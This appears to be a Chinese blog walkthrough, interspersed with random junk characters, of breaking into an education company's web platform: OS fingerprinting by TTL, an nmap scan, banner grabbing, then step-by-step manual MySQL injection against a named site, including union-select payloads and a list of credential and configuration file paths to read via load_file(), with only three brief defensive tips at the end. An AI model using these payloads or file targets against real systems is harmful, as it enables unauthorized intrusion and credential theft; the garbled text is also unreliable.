题记:% o6 L8 H8 Q9 m. m' e
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
! ~9 O4 @. \/ U, ^5 Z4 e第一步:获取需要的信息* y# x- x8 I4 ]3 L- S# O
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
m$ e% O! K3 p7 Y) [7 W4 H注:以下为保护特用XXX代替敏感信息9 a O0 ~9 j) Y: {7 U7 Z, L U
顺手先PING了一下他们的域名:
* H& I" }! l1 u+ Iping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
* t6 Z. e1 M. M4 F64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms: [# s3 p2 }8 t+ |! l
顺便了解一下TTL,学好基础知识才能一路顺风:* G( F& S+ \$ B* k7 T+ s* F! b
TTL:(Time To Live ) 生存时间
2 E6 Q, }' B2 F; g) K* H" Y) o# v5 T指定数据包被路由器丢弃之前允许通过的网段数量。& u: ~0 x8 g5 [8 u$ |: f; Q* B
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。0 s9 R1 j# @! d7 \
使用PING时涉及到的 ICMP 报文类型
- n* S% ^2 w# s一个为ICMP请求回显(ICMP Echo Request)
0 x0 F" u7 m1 u1 j一个为ICMP回显应答(ICMP Echo Reply)! Y( X! }8 `2 T+ ~
TTL 字段值可以帮助我们识别操作系统类型。, ]% R% m5 t+ C7 m1 g% ], |: ^
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
3 A% I# x( z, x1 g3 H( vCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
6 j1 d8 v8 t0 h0 I微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1280 i2 e7 \2 P6 U& e
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32/ X" {6 U3 m) d' N$ S
当然,返回的TTL值是相同的# @% q7 p- N$ t
但有些情况下有所特殊: E3 C: d( {# o3 S; a' d
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 644 N& _$ k( v( D+ U. s9 [$ U
FreeBSD 4.1, 4.0, 3.4;
. Q0 y4 g/ G M! F8 JSun Solaris 2.5.1, 2.6, 2.7, 2.8;5 f4 U3 f/ y8 \, |: `
OpenBSD 2.6, 2.7,* m5 Z/ n+ [ W# j" D
NetBSD
/ c2 l# i F. K1 \0 F" MHP UX 10.20
* c3 c4 ~4 i1 R$ k* L# m% I9 ?ICMP 回显应答的 TTL 字段值为 255' @# J/ H* U S* d
Windows 95/98/98SE: f+ M+ k3 L, C) o: g* y
Windows ME
0 X! o- b3 b. V NICMP 回显应答的 TTL 字段值为 32( l ^9 m% }% O6 a4 _ C8 ?/ P9 ?
Windows NT4 WRKS
" J( b6 C1 I0 b# A# _Windows NT4 Server
( w: u% P0 ^% Y# o1 e1 UWindows 2000
- u9 h, K) W) l9 [7 {: v8 a D6 uWindows XP) `7 n& I1 E' V1 g$ a/ _
ICMP 回显应答的 TTL 字段值为 1286 U! l6 t5 c% ]3 i7 y
这样,我们就可以通过这种方法来辨别操作系统
$ ^- A8 N4 i" i; \& @TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
. m4 e1 w. p/ n用NMAP扫描一下:7 ^* q. w* w2 j- q/ k: _
nmap -sT -O XXX.XXX.XXX.XXX7 e( ^1 f$ E1 v" C7 B6 }9 i4 P- H
如果没有装WinPcap则会弹出提示: p/ ` P3 L9 S- }
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
$ \3 I4 I0 D( @! W% zade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(2 E$ _2 F7 Y& X6 {5 L: X
) mode — Nmap may not function completely
" r7 e2 B7 b/ ?: k( c3 x* LTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
" O* X! N6 \& y: j3 band iphlpapi.dll be installed. You seem to be missing one or both of these. Win
! g9 @) W- z& s/ t* ppcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
. ~( a4 a0 S! D. U5 Q5 ^* _d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v6 D% i" F" ?1 G; y8 a5 A
ersions, you may be able to take iphlpapi.dll from another system and place it i
$ x$ b9 B0 }( d3 gn your system32 dir (e.g. c:\windows\system32).
* f3 _ ?* I# U6 P9 _( Y6 ]2 \QUITTING!2 C5 ?# q; r2 y( Y1 G
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
5 J) u& B8 x, N9 w. d% e( a, H6 w安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:" J2 k2 `9 ^0 p6 D
Interesting ports on XXX.XXX.XXX.XXX:2 h ?/ ~1 W9 K3 i M; @& e/ r
Not shown: 986 closed ports; \- K8 [( T; C4 D
PORT STATE SERVICE2 H& t) n- Z" j3 M: n' i( v# {
21/tcp open ftp5 @( U& _: D3 q" z
22/tcp open ssh
- b' w3 E! f- u4 z, u0 }23/tcp open telnet
) Y) V7 c, p- W$ ]80/tcp open http& I- i8 b/ `) v6 Y+ u4 ?
111/tcp open rpcbind# h' L1 H0 V r
135/tcp filtered msrpc5 z7 b! \( n7 x2 Y$ A
139/tcp filtered netbios-ssn
; v! @+ ]; L8 }. i445/tcp filtered microsoft-ds& g( p4 f1 h5 n9 U$ P' v
513/tcp open login
2 G4 b7 r* w/ P0 a8 W9 {514/tcp open shell2 ~1 l5 N5 s/ A
593/tcp filtered http-rpc-epmap
+ v$ T: X# s% ?1 e7 @& m' Q. S1720/tcp filtered H.323/Q.931- ^, y" ^2 j% h$ g: C, H# h6 A7 d
3306/tcp open mysql1 a6 `2 }1 T3 ~* l) O
4444/tcp filtered krb524
. F7 f' [! f0 s0 q! K: A1 p) RDevice type: WAP
% @$ \( J! W0 M/ `% XRunning: Linux 2.4.X
4 x4 ~' G& r& X0 WOS details: DD-WRT (Linux 2.4.35s)
0 `3 B1 r( f/ z8 d5 gNetwork Distance: 13 hops
8 F: X; _ t; W/ t2 T看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
8 Q; c( Y. A% ^. Q& Slogin as:
+ b: d4 Q4 z: ], k3 w. x# cTelnet23端口也是开着的,用telnet 命令链接一下:* e* M. k+ _7 |9 k7 H
telnet XXX.XXX.XXX.XXX& |% f$ i2 v6 _/ G- _8 \7 b
提示:
# w0 M! o k7 tRed Hat Enterprise Linux Server release 5.2 (Tikanga)9 |" {" P4 o7 R. `4 r f
Kernel 2.6.18-92.el5PAE on an i686
4 u5 ~/ c% j7 M8 N& s- rlogin:
/ l; [8 X% e! Q$ ~获取HTTP头信息:/ A: Z2 E, w' A. {& P+ ]8 X. I
在本地执行如下PHP代码 G0 B4 u" k2 x0 J" r: I; l
<?php
$ B6 O5 ~) \8 O0 R! I6 h: g6 |$url = ‘XXX.XXX.XXX.XXX’;
7 L) Y$ H; C4 H. w2 hprint_r(get_headers($url));
4 K1 F+ H' x7 i1 r/ W' i. sprint_r(get_headers($url, 1));
0 C3 G' c6 U+ y+ L- [% K4 F?>
! q( H3 ^$ H/ ?* l: J4 \将以上代码保存为PHP文件,执行:
6 k8 B0 b o, b* IArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )% t( q7 C/ |8 ~, ^/ o
现在可以得出结论:
6 O1 S# ]8 T) ^$ f* G" e! M& ^0 j系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
) l; T1 }" Z3 Y/ c' W内核版本:Kernel 2.6.18-92.el5PAE on an i686
, v# U9 Y" g! O1 F4 E( ?, v( w! |WEB服务器版本:nginx/0.7.61
) {9 u' w: T: N+ Q) r+ T, Q第二步,开始测试寻找漏洞2 S% l* f" Q" u& b, x3 ]" ~; ^9 }
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
( W" F ]* t# E4 c6 g% D l1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
; e0 w& ~! ?" H2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
u1 u) m9 R v; p+ {http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
% d& ]% {( R, K8 ]' O$ ?2 `! }! g$ rhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误* `6 A) C* x+ ~( ~' m0 c
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续: r; ~+ o0 H) T' {' s1 t- }) c" A
3、手工注入:4 A. H7 d. o0 _2 J% l
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
- R1 K, p2 v% M( K* O/ k& l/ a$ I3.1 猜测当前表字段数. z; \& N# X" l+ z
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
9 @% e' ~7 q+ E" w4 D0 E此处猜测有个简单的算法,都是有技巧的吗,呵呵1 E5 @* f5 J; b, }8 g
算法简单如下: t2 O* s9 |" W3 i2 i
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;" i: C* R/ e. v4 x' }8 t
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
2 V t- `& G. P需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。5 z4 L. x- M" O4 z1 q/ Q, n+ B2 Q- p
以此来判断,是否过界,配合取中算法猜出字段数。
' O7 q. g: Z7 Y5 L% f举例:
* r4 p9 V' T, t9 Q$ u7 {* c+ W* ihttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常& I" V$ A ?8 w& W
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误+ w; J7 c9 o7 h& M% x
此时3则为我们要找的字段数。
* P! F* c1 W( I4 I/ S) U, h0 u3.2 配合union联合查询字段在页面所位置. D5 S7 w$ ~, u% d( @2 e
我们已经知道了字段数为3,此时则可以做如下操作:
7 M) v4 J$ m8 m8 t3 u' }: `http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
+ C& j, s* }/ j- i9 D5 J/ }( {/ |1 o/ i+ a
这样就可以测试到哪些字段在页面上有所显示了,如图:
$ T: B# O7 Y" G$ { z: m1 Q6 m' [) y: Q
3.3 查敏感信息$ t& L1 R1 h& a8 ~, c
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。- t0 U) Q: E; y6 p1 i3 Z( U0 i
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
2 r# x1 l" Q5 S# A* m3.3.1 先查数据库用户、数据库名,以备后用,如图:( y/ Z/ v n" V9 H- C# D
; p4 ]; y: @" ~- r得到数据库用户为root、数据库名为DBxx;. H+ P5 z0 k) X2 G+ L$ W: @
3.3.2 查配置文件
/ T0 h. G" V7 T3 r- S. C查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
$ d7 h, J' ^ ~; X查看文件有一定的条件限制:* _! u' r# l6 J; y; a
欲读取文件必须在服务器上4 j& {6 g1 o0 J* T
必须指定文件完整的路径
& K, D2 s9 [2 [6 I$ A) g0 R% S必须有权限读取并且文件必须完全可读$ D/ o) H& t' m7 Z6 O9 B
欲读取文件必须小于 max_allowed_packet
3 m) V0 Q! c) c2 w; mMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。. q! K! S; Y$ X$ i
常用的一些:
0 L: V5 ?' L X- A/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件& `8 f& x6 L# {* N
/usr/local/apache2/conf/httpd.conf; b* R; E: A$ Y# H! ^. ^
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置; p* v, L* w$ o; A
/usr/local/app/php5/lib/php.ini //PHP相关设置# Y/ i) Q) n7 b# V: ?
/etc/sysconfig/iptables //从中得到防火墙规则策略9 U8 I7 T9 i* u& Y. B( C L: D
/etc/httpd/conf/httpd.conf // apache配置文件& [; N% F, h6 J
/etc/rsyncd.conf //同步程序配置文件/ |- Y- ?1 y2 m# w# E- N- c
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
' G3 R9 n; n4 d4 v: M7 ^- C% z/etc/my.cnf //mysql的配置文件 U$ O/ k* B! x0 z3 {! F7 X3 y
/etc/redhat-release //系统版本- X/ p% D0 T. K9 b1 ?
/etc/issue: w' R+ F4 t6 [9 T E( K1 \
/etc/issue.net
4 C; {) S4 j# Q0 dc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
) G) t& Q3 w# L' Tc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
; _5 L0 h$ i5 P' `c:\Program Files\Serv-U\ServUDaemon.ini
6 m0 w; a+ }$ j5 Fc:\windows\my.ini //MYSQL配置文件. I. l- P$ j0 N. F9 }6 G- T+ F
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
" t: u# l9 s6 S8 M# i0 ~& g y, ]; m0 V等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,* b/ w; i/ ~5 x" m" I
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
h0 c; ?9 M( d2 H+ oc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此* z. ]: g6 J3 c6 X% N$ g5 K+ t
c:\Program Files\RhinoSoft.com\ServUDaemon.exe7 U( ~+ C! T5 a* f1 c
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
7 i2 l3 F( H0 [ z//存储了pcAnywhere的登陆密码
0 f6 f, q# A v, v4 A9 Q由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。5 _! o J) | |
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
: d- y# ~, T0 r$ c' P, K# Z3 k最后:防范措施8 Z1 e. x0 s7 y% y# f4 C9 y. |2 `
1、修复PHP注入漏洞;( t* U" X8 L# I! N. K- `
2、Mysql使用普通权限的用户;, q& |7 T g5 a/ g9 j
3、升级linux内核至最新版本; |